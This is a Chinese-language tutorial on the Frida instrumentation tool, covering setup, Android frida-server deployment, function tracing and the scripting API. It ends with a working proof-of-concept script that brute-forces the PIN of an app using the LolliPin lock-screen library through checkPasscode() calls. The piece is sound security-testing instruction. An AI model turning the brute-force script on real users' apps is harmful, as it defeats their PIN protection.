# Frida-跨平台注入工具基础篇
### 0x00 功能介绍
* * *
[官方主页](http://www.frida.re/)
[github](http://github.com/frida/)
Inject JavaScript to explore native apps on Windows, Mac, Linux, iOS and Android.
* Hooking Functions
* Modifying Function Arguments
* Calling Functions
* Sending messages from a target process
* Handling runtime errors from JavaScript
* Receiving messages in a target process
* Blocking receives in the target process
* ....
类似工具:Substrate/Xposed/indroid/adbi.
优势:结合python和JavaScript开发更快捷.
### 0x01 Setting up your PC
* * *
python环境+[setuptools](https://pypi.python.org/pypi/setuptools)
```
sudo easy_install frida
```
可选:源码编译
```
$ git clone git://github.com/frida/frida.git
$ cd frida
$ make
```
#### 0x02 Testing your installation
* * *
创建一个进程用于注入:
```
$ cat
```
新建注入脚本example.py:
```
import frida
session = frida.attach("cat")
print([x.name for x in session.enumerate_modules()])
```
linux环境下需要运行如下命令:
```
$ sudo sysctl kernel.yama.ptrace_scope=0
```
用于开启非子进程的ptracing.
运行frida脚本,观察:
```
$ python example.py
```
输出结果类似如下,代码环境正常安装成功:
```
[u'cat', …, u'ld-2.15.so']
```
### 0x03 Setting up your Android device
* * *
首先下载android版frida-server:
```
$ curl -O http://build.frida.re/frida/android/arm/bin/frida-server
$ chmod +x frida-server
```
下一步部署到android设备上:
```
$ adb push frida-server /data/local/tmp/
```
### 0x04 Spin up Frida
* * *
设备上运行frida-server:
```
$ adb shell
root@android:/ # chmod 700 frida-server
$ adb shell
root@android:/ # /data/local/tmp/frida-server -t 0 (注意在root下运行)
```
电脑上运行adb forward tcp转发:
```
adb forward tcp:27042 tcp:27042
adb forward tcp:27043 tcp:27043
```
27042端口用于与frida-server通信,之后的每个端口对应每个注入的进程.
运行如下命令验证是否成功安装:
```
$ frida-ps -R
```
正常情况应该输出进程列表如下:
```
PID NAME
1590 com.facebook.katana
13194 com.facebook.katana:providers
12326 com.facebook.orca
13282 com.twitter.android
…
```
### 0x05 Tracing open() calls in Chrome
* * *
设备上打开chrome浏览器然后在pc运行如下命令:
```
$ frida-trace -R -i open com.android.chrome
Uploading data...
open: Auto-generated handler …/linker/open.js
open: Auto-generated handler …/libc.so/open.js
Started tracing 2 functions.
Press ENTER to stop.
```
开始使用chrome app然后会发现open()调用输出如下:
```
1392 ms open()
1403 ms open()
1420 ms open()
```
现在可以实时编辑的上述JS代码来调用你的Android应用
### 0x06 Building your own tools
* * *
frida提供的几个工具frida-trace, frida-repl...绝逼非常有用,建议阅读Functions 和 Messages章节来了解Frida APIs,
首先,使用frida的API attach上需要注入的app
```
session = frida.get_remote_device().attach("com.mahh.secretsafe")
```
`session`对象允许你获取信息,同时也可以操作目标进程.比如,可以调用`enumerate_modules()`方法来获取进程中加载模块的host信息.
```
>>> print session.enumerate_modules()
[Module(name="app_process", base_address=0x40096000, size=8192, path="/system/bin/app_process"), Module(name="linker", base_address=0x4009a000, size=61440, path="/system/bin/linker"), Module(name="libcutils.so", base_address=0x400b0000, size=36864, path="/system/lib/libcutils.so"), Module(name="liblog.so", base_address=0x400bb000, size=12288, path="/system/lib/liblog.so"), Module(name="libc.so", base_address=0x400c0000, size=53248, path="/system/lib/libc.so"), Module(name="libstdc++.so", base_address=0x4011b000, size=4096, path="/system/lib/libstdc++.so"), Module(name="libm.so", base_address=0x4011e000, size=98304, path="/system/lib/libm.so")
```
然后使用Javascript API,通过`session`的create_script()方法放入JavaScript代码块.JavaScript API可以用来插桩目标app的类.在这个API中有些针对android的例子,下面是一些简单的案例:
取得一个类的js封装:
```
Dalvik.perform(function () {
var MyClass = Dalvik.use("com.mdsec.MyClass");
});
```
如果类的构造方法有一个String对象的参数,应该用如下方式创建类的实例:
```
var MyClass = Dalvik.use("com.mdsec.MyClass");
var MyClassInstance = MyClass.$new(“MySecretString”);
```
只需要加上对应的参数就可以调用刚才新建实例的方法.例如,调用MyClass类的MyMethod方法:
```
var result = MyClassInstance.MyMethod();
```
如果想替换MyMethod方法的实现来return false,使用如下代码:
```
MyClass.MyMethod.implementation = function()
{
return false;
};
```
Android Context(上下文)用于获取对应app相关信息以及其运行环境.所以其被广泛用于app中,需要找一种方法来访问他.获取Android Context如下代码非常有效:
```
var currentApplication = Dalvik.use("android.app.ActivityThread").currentApplication();
var context = currentApplication.getApplicationContext();
```
接下来需要用到上文中提到的create_script()方法用于注册这段js代码到app session中.
```
script = session.create_script(jscode)
```
为了接收从Python session中JavaScript代码返回的数据,还需要注册一个message handler.注册一个message handler先要创建方法:
```
def on_message(message, data):
print message
```
然后通过调用`on()`方法注册event handler:
```
script.on('message', on_message)
```
可以通过JS方法`send()`给message handler发送消息.例如,使用如下代码讲Context对象发送给Python客户端:
```
Dalvik.perform(function () {
var currentApplication = Dalvik.use("android.app.ActivityThread").currentApplication();
var context = currentApplication.getApplicationContext();
send(context);
});
```
结果会返回app的context对象的地址:
```
{u'type': u'send', u'payload': {u'$handle': u'0x1d50079a', u'$classHandle': u'0x1d5007e6', u'$weakRef': 20}}
```
现在已经掌握frida的基础知识,现在可以实战演练如何破解[LolliPin](https://github.com/OrangeGangsters/LolliPin)锁屏库.我们创建一个使用`LolliPin`的app截图如下:
PIN码生效后,可以使用插桩暴力破击.要达到这个目的首先要了解pin码验证是如何实现的.AppLockImpl类中验证方法如下:
现在咱们忽略LolliPin的其他漏洞,就搞PIN码的暴露破解,这是客户端认证通过都会受到的分析.
可以创建一个AppLockImpl的实例,但是为了节约内存我们直接调用已有的.分析发现AppLockImpl被调用在LockManager的getAppLock()中,这个就仅仅返回了AppLock对象.而AppLock是抽象类AppLockImpl的具现.
LockManager有一个帮助方法用于返回自己的实例.
结合上面的分析,咱们可以通过LockManager.getInstance()得到LockManager的实例,再调用getAppLock()得到AppLock.最后就可以调用AppLock的 checkPasscode()方法了.
```
var LockManager = Dalvik.use("com.github.orangegangsters.lollipin.lib.managers.LockManager");
var LockManagerInstance = LockManager.getInstance();
var AppLock = LockManagerInstance.getAppLock();
```
通过for循环调用checkPasscode()来达到暴力破解的目的:
```
for(var i=1230; i<1235; i++)
{
var result = AppLock.checkPasscode(i+"");
send(i + ": " + result);
}
```
此循环将尝试1230到1235的pin码(已知PIN为1234...),最后利用空字符串将pin码连接起来做个强制转换再打印出来.运行脚本效果如下:
```
[*] Bruteforcing PIN code
[*] Testing PIN 1230: false
[*] Testing PIN 1231: false
[*] Testing PIN 1232: false
[*] Testing PIN 1233: false
[*] Testing PIN 1234: true
```
最后完整的frida代码块如下:
```
# LolliPin bruteforce proof of concept
# Author: Dominic Chell - @domchell
import frida,sys
def print_result(message):
print "[*] Testing PIN %s" %(message)
def on_message(message, data):
print_result(message['payload'])
jscode = """
Dalvik.perform(function () {
var LockManager = Dalvik.use("com.github.orangegangsters.lollipin.lib.managers.LockManager");
var LockManagerInstance = LockManager.getInstance();
var AppLock = LockManagerInstance.getAppLock();
for(var i=1230; i<1235; i++)
{
var result = AppLock.checkPasscode(i+"");
send(i + ": " + result);
}
});
"""
process = frida.get_device_manager().enumerate_devices()[-1].attach("com.mahh.secretsafe")
session = process.session
script = session.create_script(jscode)
script.on('message', on_message)
print "[*] Bruteforcing PIN code"
script.load()
sys.stdin.read()
```
### 0x07 reference
* * *
[http://www.frida.re/docs/installation/](http://www.frida.re/docs/installation/)
[http://www.frida.re/docs/android/](http://www.frida.re/docs/android/)
[http://www.frida.re/docs/javascript-api/](http://www.frida.re/docs/javascript-api/)
[http://www.frida.re/docs/functions/](http://www.frida.re/docs/functions/)
[http://www.frida.re/docs/messages/](http://www.frida.re/docs/messages/)
[http://blog.mdsec.co.uk/2015/04/instrumenting-android-applications-with.html](http://blog.mdsec.co.uk/2015/04/instrumenting-android-applications-with.html)